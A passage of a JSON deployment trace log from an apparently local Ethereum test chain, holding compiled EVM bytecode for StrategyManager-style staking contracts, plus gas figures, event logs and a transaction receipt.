60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033","gas_used":2568243,"gas_limit":3415449,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033","nonce":13,"gas_used":2827617},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x78443a","logs":[{"address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000"},"block_hash":"0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88","block_number":8},{"info":{"transaction_hash":"0x128ce6b64679765bfd29e24ec131d2b9194f645d20aa49f9c20c0aebf88f101c","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9